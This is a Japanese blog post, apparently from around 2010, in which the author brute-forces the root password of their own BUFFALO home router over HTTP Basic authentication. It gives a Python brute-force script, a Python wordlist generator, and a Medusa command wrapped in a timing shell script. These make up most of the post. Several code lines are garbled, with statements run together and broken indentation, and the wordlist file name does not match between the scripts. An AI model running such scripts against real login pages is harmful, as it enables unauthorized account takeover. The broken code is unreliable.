ブルートフォースアタック 自作 and medusa

結構前の内容なのですがメモのため残しておきます。

今回はpythonでルータの「root」ユーザのパスワードをクラックしてみます。

 

テスト環境はもちろん自宅のルータです。

設定されているパスワードは3桁。一瞬でクラックされそうな鍵の長さです。

パスワードなしよりは、まだましな程度でしょうか?

 

ルータはBUFFALO WHR-G301Nです。

Basic認証のGETのタイプです。

 

鍵が見つかるとpassword="aa" 119 second のように文字列と経過秒数を表示して終了します。

 

そして、速度がものすごく遅いので正直使い物にはなりません。

1秒で2~3回程度の認証しかできません。

※追記:1秒で一回だった。スレッド処理なし。

 

総当たりでは文字数が多くなればなるほど解読に時間がかかるけど、4桁のパスワードだと想定してみても、

 

36*36*36*36 = 1679616通り

1秒で3回のアタックが可能だとすると

1分あたり180回

1679616/180/60 = 155.52時間

まぁ……一応現実的な時間ですかね?

使えません。

 

以下がプログラム: [ brute-force-attacker.py ]

#-------------------------------------------------------------------------------
# Name: brute force attacker
# Purpose:
#
# Author: Administrator
#
# Created: 19/11/2010
# Copyright: (c) Administrator 2010
# Licence: <your licence>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
from urllib2 import *
import time
import base64
user = "root"
password = ""
def brutus(count): if count != 1:
  for i in range(97,127):
  global password
  password += chr(i)
  if brutus(count-1)==1:
    return 1
  password = password[0:len(password)-1]
  else:
    for i in range(97,127):
      tmp = password
      tmp += chr(i)
      request = Request("http://192.168.2.1/index.html")
      base64string = base64.encodestring('%s:%s' % (user, tmp)).replace('\n', '')
      request.add_header("Authorization", "Basic %s" % base64string)
      try:
        urlopen(request).read
        print "Success !!\n"
        print "Password="+tmp+"\n"
        return 1
      except:
        print tmp
        pass
def main():
  start_time = time.time()
  count = 1 start_time = int(time.time())
  while(1):
    if brutus(count) == 1:
      break
    count+=1
  end_time = int(time.time())
  use_time = end_time - start_time
  print str(use_time)+"second\n"
  print str(int(use_time)/60)+"minute\n"
if __name__ == '__main__':
  main()

 

インターネット上のツール

ネットに転がってるツールとしては、windwos用ではbrutusLinux用ではMedusa,Hydraなどが有名ではないかと。

自分で総当たり用の辞書を作ってmedusaなどで指定してあげればオンラインパスクラができるので、自宅のルータのパスなどの解読までどれくらいの時間がかかるのかを試してみるといいかもしれません。

 

medusaを使ってルータのパスワードをクラックしてみる。

実験環境はルータは上記で出てきたBUFFALO製のもの。

攻撃用のマシンとしてはLinux(Fedora15)を使用します。

 

1.medusaをインストールします

Hydraと違いmedusaはyumからインストールできます。

 

# yum install medusa

 

インストールが完了すればmedusaコマンドでオプションを見れるようになります。

 

2.総当たりに使用する辞書ファイルを作成する

簡単なので辞書ファイルを作成するプログラムをpythonで組んでしまいます。

 

以下がプログラム [ make-zisyo.py ]

#-------------------------------------------------------------------------------
# Name: module1
# Purpose:
#
# Author: Administrator
#
# Created: 19/11/2010
# Copyright: (c) Administrator 2010
# Licence: <your licence>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
from urllib2 import *
import time
import sys password = ""
def brutus(count,fd):
  if count != 1:
    for i in range(97,127):
      global password
      password += chr(i)
      brutus(count-1,fd)
      password = password[0:len(password)-1]
  else:
    for i in range(97,127):
      tmp = password
      tmp += chr(i)
      fd.write(tmp + "\n")
def main():   max_count = int(sys.argv[1])+1
  count = 1
  fd = open("bruteforce.zisho","w")
  while(1):     if count != max_count:
      brutus(count,fd)
    else:
      break
    count += 1
if __name__ == '__main__':
  main()

 

3.medusaに辞書ファイル・対象ホスト・moduleを指定して実行

表記方法: medusa -h [対象ホスト] -u [ユーザ名] -P [パスワード辞書ファイル] -M [モジュール]

オプションの-u-pは大文字の-U-Pにすることで辞書ファイルを指定できる。小文字ならただの文字列。

今回はパスワードの部分を総当たりで作った辞書で補うのでPは大文字

そして、実行時間を調べるためにシェルスクリプトを組んで実行時間を計測する。

 

 プログラム [ medusa.sh ]

#!/bin/bash START=`date +%s`
medusa -h 192.168.2.1 -u root -P ./brutus.zisho -M http
END=`date +%s`
RESULT=`expr ${END} - ${START}`
echo "${RESULT}: seconds!!"

 

これでmedusaを使ったパスワードクラックは終了します。

medusaでは上記の同じ条件下で実行した結果25秒程度で終了しました。

実行速度の差を測る必要はありませんね。

遊びで作ったプログラムよりはるかに早く質が高いです。

他のオンライン上のサービスに自分のアカウントのパスワードをmedusaでチェックすると、パスワードが間違っているのに[SUCCESS] と出てしまう。